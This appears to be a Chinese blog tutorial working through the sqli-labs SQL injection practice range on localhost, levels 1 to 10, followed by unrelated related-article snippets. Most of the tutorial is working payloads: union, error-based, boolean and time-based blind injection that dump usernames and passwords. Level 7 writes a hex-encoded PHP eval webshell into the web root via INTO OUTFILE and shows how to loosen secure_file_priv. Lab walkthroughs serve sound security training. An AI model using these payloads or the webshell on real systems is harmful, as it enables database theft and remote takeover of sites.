当前位置: 首页 > article >正文

SQL-lab通关教程

Less-1单引号型完整注入流程打开靶场第一关你会看到如下图所示界面由为方便后续靶场的payload输入查看我这里了将直接利用hackbar进行sql注入测试。第1步确认闭合方式payloadhttp://127.0.0.1:8080/Less-1/?id1分析报错信息里有1→ 说明是单引号闭合你输入的1变成了1多出一个单引号导致语法错误。第2步注释掉后面代码payload:http://127.0.0.1:8080/Less-1/?id1--页面结果正常显示和?id1一样显示Your Login name:Dumb--后面全是注释实际执行的是SELECT * FROM users WHERE id1所以正常显示。第3步确定字段数order byPayloadhttp://127.0.0.1:8080/Less-1/?id1 order by 3-- - http://127.0.0.1:8080/Less-1/?id1 order by 4-- -结果正常显示 → 至少有3个字段结果,Unknown column 4 in order clause结论字段数 3原理order by N 按第N个字段排序如果SELECT只选了3个字段你写 order by 4 就会报错。第4步确定回显位Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,2,3-- -分析为什么用-1让前面SELECT * FROM users WHERE id-1查不到数据这样页面就只显示union select后面的结果。页面显示了2和3→ 说明第2位和第3位是回显位可以在这里放你想查的数据。第1位不显示所以放1占位就行。第5步爆数据库名Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,database(),3-- -分析database() 返回当前数据库名放在第2位回显位页面直接显示当前数据库叫 security第6步爆表名Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- -分析information_schema.tables 是MySQL的元数据表存了所有数据库的所有表名table_schemadatabase() 限定只查当前数据库group_concat() 把多行结果合并成一行用逗号分隔目标表是 users第7步爆字段名Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- -分析information_schema.columns 存了所有表的字段信息table_nameusers 限定查users表的字段得到字段id, username, password第8步爆数据最终目标Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,2,group_concat(username,password) from users --分析group_concat(username,0x3a,password) 把用户名和密码拼在一起from users 直接查目标表的数据拿到所有账号密码总结完整payload速查-- 1. 测闭合 ?id1 -- 2. 注释 ?id1-- - -- 3. 查字段数 ?id1 order by 3-- - ?id1 order by 4-- - -- 4. 找回显位 ?id-1 union select 1,2,3-- - -- 5. 爆库名 ?id-1 union select 1,database(),3-- - -- 6. 爆表名 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- - -- 7. 爆字段 ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- - -- 8. 爆数据 ?id-1 union select 1,group_concat(username,0x3a,password),3 from users-- -Less-2数字型第1步确认注入点不用单引号Payloadhttp://127.0.0.1:8080/Less-2/?id1 and 11 http://127.0.0.1:8080/Less-2/?id1 and 12分析and 11 为真正常查询and 12 为假查不到数据两次返回不同 → 存在数字型注入为什么不用单引号测因为 ?id1 会被当成字符串 1 处理MySQL自动类型转换不会报错测不出来。整数型要用 and 11 / and 12 测。第2步确定字段数order byhttp://127.0.0.1:8080/Less-2/?id1 order by 3 http://127.0.0.1:8080/Less-2/?id1 order by 4结果报错 Unknown column 4 in order clause结论字段数 3注意整数型不需要注释符直接 order by 3 就行后面没有引号要注释。第3步确定回显位Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,2,3分析id-1 让前面查不到union select 1,2,3 直接拼在后面没有单引号没有注释符回显位还是 2 和 3第4步爆数据库名Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,database(),3第6步爆字段名Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers第7步爆数据Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,group_concat(username,0x3a,password),3 from users总结完整Payload速查-- 1. 测注入整数型不用单引号 ?id1 and 11 ?id1 and 12 -- 2. 查字段数不需要注释符 ?id1 order by 3 ?id1 order by 4 -- 3. 找回显位没有单引号没有注释 ?id-1 union select 1,2,3 -- 4. 爆库名 ?id-1 union select 1,database(),3 -- 5. 爆表名 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() -- 6. 爆字段 ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers -- 7. 爆数据 ?id-1 union select 1,group_concat(username,0x3a,password),3 from usersLess-3单引号括号型完整注入流程7步第1步确认闭合方式http://127.0.0.1:8080/Less-3/?id1 http://127.0.0.1:8080/Less-3/?id1)-- -分析报错信息里有1)→ 说明是)闭合。你输入的1被包在括号里变成了(1)多了一个单引号但括号还在。结果正常显示Your Login name:Dumb分析)同时闭合了单引号和圆括号后面的-- -把) LIMIT 0,1全注释掉。SQL变成实际执行WHERE id(1)正常。第2步确定字段数order byhttp://127.0.0.1:8080/Less-3/?id1) order by 3-- - http://127.0.0.1:8080/Less-3/?id1) order by 4-- -结果报错Unknown column 4 in order clause结论字段数 3注意闭合方式是)所以order by前面要加)后面加-- -注释。第3步确定回显位http://127.0.0.1:8080/Less-3/?id-1) union select 1,2,3-- -分析id-1) 闭合前面的 ( 并让前面查不到union select 1,2,3 拼接在后面-- - 注释掉后面的 ) LIMIT 0,1回显位还是 2 和 3第4步爆数据库名http://127.0.0.1:8080/Less-3/?id-1) union select 1,database(),3-- -第5步爆表名http://127.0.0.1:8080/Less-3/?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- -第6步爆字段名http://127.0.0.1:8080/Less-3/?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- -第7步爆数据http://127.0.0.1:8080/Less-3/?id-1) union select 1,group_concat(username,0x3a,password),3 from users-- -Less-4双引号括号型第1步确认闭合方式http://127.0.0.1:8080/Less-4/?id1 http://127.0.0.1:8080/Less-4/?id1)-- -分析报错信息里有1)→ 说明是)闭合。你输入的1被包在(和)里变成了(1)多了一个双引号导致语法错误。第2步确定字段数order byhttp://127.0.0.1:8080/Less-4/?id1) order by 3-- - http://127.0.0.1:8080/Less-4/?id1) order by 4-- -结果报错Unknown column 4 in order clause结论字段数 3第3步确定回显位http://127.0.0.1:8080/Less-4/?id-1) union select 1,2,3-- -分析id-1) 闭合前面的 ( 并让前面查不到union select 1,2,3 拼接在后面-- - 注释掉后面的 ) LIMIT 0,1回显位还是 2 和 3第4步爆数据库名http://127.0.0.1:8080/Less-4/?id-1) union select 1,database(),3-- -第5步爆表名http://127.0.0.1:8080/Less-4/?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- -第6步爆字段名http://127.0.0.1:8080/Less-4/?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- -第7步爆数据http://127.0.0.1:8080/Less-4/?id-1) union select 1,group_concat(username,0x3a,password),3 from users-- -Less-5单引号报错型第1步确认闭合方式http://127.0.0.1:8080/Less-5/?id1 http://127.0.0.1:8080/Less-5/?id1-- -结果正常显示You are in...分析闭合方式是注释后面代码正常执行。第2步报数据库名http://127.0.0.1:8080/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)-- -分析select database() 查出 securityconcat(0x7e,security,0x7e) ~security~传入updatexml第二个参数 → 不是合法XPATH → 报错 → 报错里带出 ~security~第3步爆表名http://127.0.0.1:8080/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)-- -第4步爆字段名http://127.0.0.1:8080/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers),0x7e),1)-- -第5步爆数据第6步floor(rand()) 双查询注入Less-5经典解法、select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x第7步extractvalue 报错注入替代方案http://127.0.0.1:8080/Less-5/?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -Less-6双引号报错型第1步确认闭合方式http://127.0.0.1:8080/Less-6/?id1 http://127.0.0.1:8080/Less-6/?id1-- -第2步爆数据库名http://127.0.0.1:8080/Less-6/?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -第3步爆表名http://127.0.0.1:8080/Less-6/?id1%22%20and%20updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)-- -第4步爆字段名http://127.0.0.1:8080/Less-6/?id1%22%20and%20updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name users ),0x7e),1)-- -第5步爆数据http://127.0.0.1:8080/Less-6/?id1%22%20and%20updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)-- -Less-7文件写入靶场信息闭合方式id(($id))单引号 双括号注入类型布尔盲注、报错注入、文件读写注入本题核心考点页面提示Use outfile出题人直接告诉你用文件写入前置条件secure_file_priv 必须为空允许任意路径写入第1步判断闭合类型http://127.0.0.1:8080/Less-7/?id1)) http://127.0.0.1:8080/Less-7/?id1))--第2步判断字段数http://127.0.0.1:8080/Less-7/?id1)) order by 3-- http://127.0.0.1:8080/Less-7/?id1)) order by 4--结论字段数为3第3步确认注入点与回显位ess-7 没有回显位不显示查询内容只有You are in...........或报错两种状态所以是盲注环境。但题目考点是outfile文件写入直接用写入功能。第4步检查secure_file_priv配置进入 MySQL 命令行或前面关卡Less-2 等有回显的执行?id-1 union select 1,secure_file_priv,3--三种结果NULL → 禁止导入导出无法写 shell/tmp/ → 只能写到 /tmp/ 目录空字符串 → 不限制路径可以任意位置写如果显示 NULL 或固定路径修改 my.ini# 在 my.ini [mysqld] 段添加 secure_file_priv保存后重启 MySQL 服务phpstudy 里重启或systemctl restart mysql第5步获取网站绝对路径写文件必须知道绝对路径的几种写入方法# 方法1前面有回显的关卡查路径 ?id-1 union select 1,basedir,datadir-- # basedir MySQL安装路径 # datadir 数据文件路径通常也在网站目录附近 # 方法2报错泄露路径如果开启显示错误 ?id1 随便乱输 # 方法3扫目录找 phpinfo.php、.git 等泄露路径 # 用 dirsearchpython3 dirsearch.py -u http://127.0.0.1/sqli-labs/ # 方法4Linux 默认路径推测 # /var/www/html/sqli-labs/Less-7/ # /var/www/html/Less-7/第6步写入一句话木马?id-1)) union select 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e,3 into outfile /var/www/html/Less-7/shell.php--Less-8布尔盲注第1步判断注入点?id1 and 11-- # 回显You are in........... ?id1 and 12-- # 回显无 / 空白页面结论单引号闭合布尔盲注。第2步判断字段数?id1 order by 3-- # 正常 ?id1 order by 4-- # 异常空白结论字段数为 3。第3步判断数据库名长度?id1 and length(database())1-- # 空白 ?id1 and length(database())8-- # You are in...........第4步逐字符猜解数据库名http://127.0.0.1:8080/Less-8/?id1 and substr(database(),1,1)s--这里只演示一下手动注入的原理思路接下来的爆表名字段名以及数据库内容都同上所示但在实战中通常利用脚本或者sqlmap进行工具爆破。Less-9时间盲注第1步确认时间盲注?id1 and sleep(5)-- # 页面延迟 5 秒才返回 → 注入点存在 ?id1 and sleep(5)-- # 无延迟 → 不是双引号闭合 ?id1 and sleep(5)-- # 无延迟 → 不是数字型结论单引号闭合时间盲注。第2步判断字段数用时间延迟?id1 and if((select count(*) from information_schema.tables where table_schemadatabase())0,sleep(3),1)-- # 延迟 3 秒 → 数据库存在表 ?id1 order by 3 and sleep(1)-- # 或用 union 配合 sleep 判断 ?id1 union select 1,2,3 and sleep(5)--第3步判断数据库名长度?id1 and if(length(database())8,sleep(3),1)-- # 延迟 3 秒 → 长度为 8 ?id1 and if(length(database())7,sleep(3),1)-- # 无延迟 → 不是 7第4步逐字符猜解数据库名# 第一个字符 ?id1 and if(ascii(substr(database(),1,1))115,sleep(3),1)-- # 115s延迟 3 秒 ?id1 and if(ascii(substr(database(),1,1))116,sleep(3),1)-- # 116t无延迟 # 第二个字符 ?id1 and if(ascii(substr(database(),2,1))101,sleep(3),1)-- # 101e延迟 3 秒 # 以此类推... # 最终得到security第5步猜解表名# 第一个表名第一个字符 ?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101,sleep(3),1)-- # 101eemails 表 # users 表 ?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 3,1),1,1))117,sleep(3),1)-- # 117u第6步猜解字段名?id1 and if(ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 1,1),1,1))117,sleep(3),1)-- # 117uusername ?id1 and if(ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 2,1),1,1))112,sleep(3),1)-- # 112ppassword第7步猜解数据?id1 and if(ascii(substr((select concat(username,~,password) from users limit 0,1),1,1))68,sleep(3),1)-- # 68DDumb~Dumb时间盲注与布尔盲注原理payload都有相似的地方可以放到一起进行对比记忆同样本章讲解的只是原理在真实环境碰到这种情况直接使用SQLmap工具爆破。less-10第十关参考第九关步骤与payload同样的整两关的差别只在于闭合第九关使用单引号而第十关使用双引号其余步骤相同同样是时间盲注可以自己手动注入理解原理也可以使用sqlmap直接进行爆破。

相关文章:

SQL-lab通关教程

Less-1单引号型完整注入流程打开靶场第一关你会看到如下图所示界面,由为方便后续靶场的payload输入查看,我这里了将直接利用hackbar进行sql注入测试。第1步:确认闭合方式payload:http://127.0.0.1:8080/Less-1/?id1分析&#xff…...

618激战正酣!用易元AI备齐整个大促的千川全域推广素材(附1000套模板免费领)

618进入激战阶段后,千川全域推广已经不是“要不要投”的问题,而是素材能不能持续供给的问题。预算可以临时加,计划可以快速开,但素材如果准备不足,账户很快就会遇到消耗跑不动、ROI波动、爆款衰退、计划空转这些老问题…...

告别黑窗口:在Ubuntu上用VSCode调试你的第一个OpenGL三角形程序

告别黑窗口:在Ubuntu上用VSCode调试你的第一个OpenGL三角形程序 对于习惯现代IDE的开发者来说,在终端里反复敲入gcc -lGL -lglut编译命令就像用石器时代的工具雕刻钻石。本文将带你用VSCode重构OpenGL开发体验,从零搭建一个可调试的图形编程…...

避坑指南:DolphinScheduler Docker部署后,MySQL数据源连不上的几种常见原因及排查

DolphinScheduler Docker部署MySQL数据源连接问题深度排查手册 当你兴冲冲地部署完DolphinScheduler的Docker版本,准备配置MySQL数据源时,突然遭遇"连接失败"的红色警告——这种挫败感我太熟悉了。去年我们团队迁移数据平台时就连续踩了三个坑…...

pdfjs 进阶:基于外部数据切片实现精准高亮与定位跳转

1. 理解PDF.js与外部数据切片的核心需求 在文档处理场景中,我们经常遇到这样的需求:后端已经将PDF内容切割成结构化的数据块(比如按章节、段落或语义单元划分),前端需要将这些数据块与PDF可视化内容精准关联。这种关联…...

Input Leap跨设备键盘鼠标共享3步配置指南

Input Leap跨设备键盘鼠标共享3步配置指南 【免费下载链接】input-leap Open-source KVM software 项目地址: https://gitcode.com/gh_mirrors/in/input-leap Input Leap是一款功能强大的开源KVM软件,能够帮助用户在不同操作系统和设备之间实现键盘鼠标的完美…...

如何快速搞定GTNH中文汉化:新手友好的终极指南

如何快速搞定GTNH中文汉化:新手友好的终极指南 【免费下载链接】Translation-of-GTNH GTNH整合包的汉化 项目地址: https://gitcode.com/gh_mirrors/tr/Translation-of-GTNH 还在为GTNH(GregTech: New Horizons)这个顶级整合包的全英文…...

BepInEx:为你的游戏开启无限可能的插件框架指南

BepInEx:为你的游戏开启无限可能的插件框架指南 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx 你是否曾经想过为心爱的游戏添加新功能,或者修改一些游戏机…...

FlicFlac:3分钟掌握Windows音频格式转换的终极免费工具

FlicFlac:3分钟掌握Windows音频格式转换的终极免费工具 【免费下载链接】FlicFlac Tiny portable audio converter for Windows (WAV FLAC MP3 OGG APE M4A AAC) 项目地址: https://gitcode.com/gh_mirrors/fl/FlicFlac 还在为不同设备间的音频格式兼容性问…...

手把手教你用Simulink搭建带Resolver的永磁同步电机FOC仿真模型(从电机库到代码生成)

从零构建永磁同步电机FOC仿真:集成旋变解码与代码生成的完整实践指南 在电机控制领域,快速验证算法并实现从仿真到硬件的无缝过渡是工程师面临的核心挑战。本文将带您完成一个包含旋转变压器(Resolver)信号处理的完整永磁同步电机…...

Faster-Whisper 实战:从本地部署到WebSocket实时语音转写服务

1. Faster-Whisper本地环境搭建 第一次接触Faster-Whisper时,我被它的速度惊艳到了。相比原版Whisper,这个优化版本在保持相同准确率的情况下,推理速度提升了4倍以上。这对于需要实时语音转写的场景来说简直是福音。下面我会手把手带你完成环…...

Camera Shakify:Blender相机抖动动画插件深度解析与性能优化指南

Camera Shakify:Blender相机抖动动画插件深度解析与性能优化指南 【免费下载链接】camera_shakify 项目地址: https://gitcode.com/gh_mirrors/ca/camera_shakify 在Blender动画制作中,相机运动的真实性直接影响观众的沉浸感。传统手动关键帧方法…...

别再新建模型了!手把手教你用AVL Cruise自带实例,5分钟搞定纯电动车仿真

别再新建模型了!5分钟玩转AVL Cruise自带实例的电动车仿真秘籍 刚接触AVL Cruise的新手工程师们,你们是否经常陷入这样的困境:面对空白的建模界面无从下手,参数设置像走迷宫,好不容易建完模型却发现仿真结果离奇失真&a…...

幻兽帕鲁服务器从1.4.1升级到1.5.0踩坑实录:Docker镜像更新、客户端兼容性与回滚指南

幻兽帕鲁服务器1.5.0升级全流程实战:从风险评估到完美回滚 当游戏社区还沉浸在1.4.1版本的稳定体验时,1.5.0版本的更新公告已经在玩家群中激起千层浪。作为服务器管理员,每次版本迭代都像走在钢索上——新特性带来的诱惑与未知风险永远并存。…...

如何在macOS上轻松运行Windows应用:Whisky终极指南

如何在macOS上轻松运行Windows应用:Whisky终极指南 【免费下载链接】Whisky A modern Wine wrapper for macOS built with SwiftUI 项目地址: https://gitcode.com/gh_mirrors/wh/Whisky 想在苹果电脑上使用Windows专属的软件和游戏吗?厌倦了虚拟…...

如何让GitHub下载速度提升10倍:免费加速插件完整配置指南

如何让GitHub下载速度提升10倍:免费加速插件完整配置指南 【免费下载链接】Fast-GitHub 国内Github下载很慢,用上了这个插件后,下载速度嗖嗖嗖的~! 项目地址: https://gitcode.com/gh_mirrors/fa/Fast-GitHub 你是否曾经因…...

Realtime-VLA V2——从让π0实时抓取下落的钢笔到让 VLA 运行得更快、更平滑且更精确

前言今天在朋友圈刷到一则新闻,称《开普勒机器人被A股公司收购,前任CEO已离职创业》我仔细看了全文,还是多有感慨其实对双足,3-5家今年可继续卷跳舞 跑步 打拳及比赛/陪练(乒乓球/网球/羽毛球等)而3-5家之外的双足,得另…...

从CentOS 7/8老用户视角:快速上手CentOS 9 Stream的3个界面变化与5个安装配置新坑

从CentOS 7/8老用户视角:快速上手CentOS 9 Stream的3个界面变化与5个安装配置新坑 作为一名长期与CentOS打交道的系统管理员,第一次接触CentOS 9 Stream时,那种"熟悉又陌生"的感觉尤为明显。表面上看,它延续了红帽系一贯…...

UG许可排队严重?研发软件许可共享,盘活企业资产

我干IT这十年,见过太多公司因为许可证管理不当,堵在路上的效率和成本。2026年咱们行业平均许可证利用率只有42%,烂尾的项目不少,换算成直接损失,一个中型研发团队每年光工时浪费就抵得上一整个外包团队的薪酬。许可证到…...

别再手动折腾了!用Buildroot一键生成你的嵌入式Linux交叉工具链(附musl/glibc选型指南)

嵌入式Linux开发者的终极效率工具:Buildroot自动化工具链构建实战 在嵌入式Linux开发的世界里,搭建一个稳定可靠的交叉编译工具链往往是项目启动的第一道门槛。传统的手动配置方式不仅耗时费力,还容易因版本兼容性问题导致各种"玄学&quo…...

NX浮动许可利用率低:软件许可浪费,高端设计团队解脱

我去年在XX公司遇到个事,设计团队的NX license用着用着突然卡住了,明明有二十多个电脑在用,License Manager显示只剩三个可用。当时我就懵了,这配置不是白搭了吗?后来查资料才明白,这是典型的浮动许可资源浪…...

别急着重装!用注册表和任务管理器两步修复Edge浏览器无法上网(Win10/Win11通用)

深度修复Edge浏览器网络故障:注册表与进程管理的终极指南 当Edge浏览器突然无法连接网络时,大多数用户的第一反应往往是重装浏览器甚至操作系统。但作为一名长期与Windows系统打交道的技术顾问,我发现90%的类似问题其实无需如此大动干戈。本文…...

B站视频转换终极指南:3分钟掌握m4s转MP4永久保存技巧

B站视频转换终极指南:3分钟掌握m4s转MP4永久保存技巧 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾因B站视频突然下架而痛…...

告别Unity!用eDrawings ActiveX控件在WinForm里轻松嵌入CAD三维模型(附避坑指南)

轻量化CAD集成方案:eDrawings ActiveX控件在WinForm中的高效实践 当机械设计软件公司需要为内部物料管理系统添加零件预览功能时,技术选型往往面临两难抉择。Unity等游戏引擎虽然功能强大,但其资源占用和开发复杂度对于简单的CAD模型预览场景…...

语雀文档离线备份终极指南:3步轻松实现文档永久保存

语雀文档离线备份终极指南:3步轻松实现文档永久保存 【免费下载链接】yuque2book export yuque repo to a book 将你的语雀文档导出的工具 项目地址: https://gitcode.com/gh_mirrors/yu/yuque2book 你是不是经常担心语雀文档的安全问题?或者需要…...

用STM32F103C8T6和HC-08蓝牙模块,从零到一打造你的第一辆遥控小车(CubeMX+HAL库保姆级教程)

从零构建STM32蓝牙遥控小车:CubeMX配置与实战全解析 第一次接触嵌入式开发时,那种让硬件按照自己编写的代码动起来的成就感,至今记忆犹新。本文将带你完整经历用STM32F103C8T6和HC-08蓝牙模块打造遥控小车的全过程,特别适合刚学完…...

EEGLab新手避坑:手把手教你搞定EEG数据的Marker、分段与Epoch提取(附完整代码)

EEGLab新手避坑指南:Marker设置、数据分段与Epoch提取全流程解析 在脑电信号处理领域,EEGLab作为MATLAB环境下最常用的开源工具包,其强大的功能和灵活的扩展性深受研究者青睐。但对于刚接触EEGLab的研究生和初级用户来说,从原始EE…...

【限时解密】DeepSeek内部SSO安全加固白皮书(含JWT签名验签绕过防护方案)

更多请点击: https://codechina.net 第一章:DeepSeek SSO单点登录体系概览 DeepSeek SSO 是面向企业级 AI 开发平台构建的统一身份认证与访问控制中枢,支持 OAuth 2.0、OpenID Connect 及 SAML 2.0 多协议接入,实现跨服务&#x…...

WzComparerR2:冒险岛游戏数据的终极可视化与解密平台

WzComparerR2:冒险岛游戏数据的终极可视化与解密平台 【免费下载链接】WzComparerR2 Maplestory online Extractor 项目地址: https://gitcode.com/gh_mirrors/wz/WzComparerR2 你是否曾经好奇《冒险岛》游戏中那些精美的装备图标、华丽的技能动画和复杂的地…...

终极指南:do-mpc模型预测控制工具箱 - 5步实现工业级控制系统

终极指南:do-mpc模型预测控制工具箱 - 5步实现工业级控制系统 【免费下载链接】do-mpc Model predictive control python toolbox 项目地址: https://gitcode.com/gh_mirrors/do/do-mpc 模型预测控制(Model Predictive Control, MPC)是…...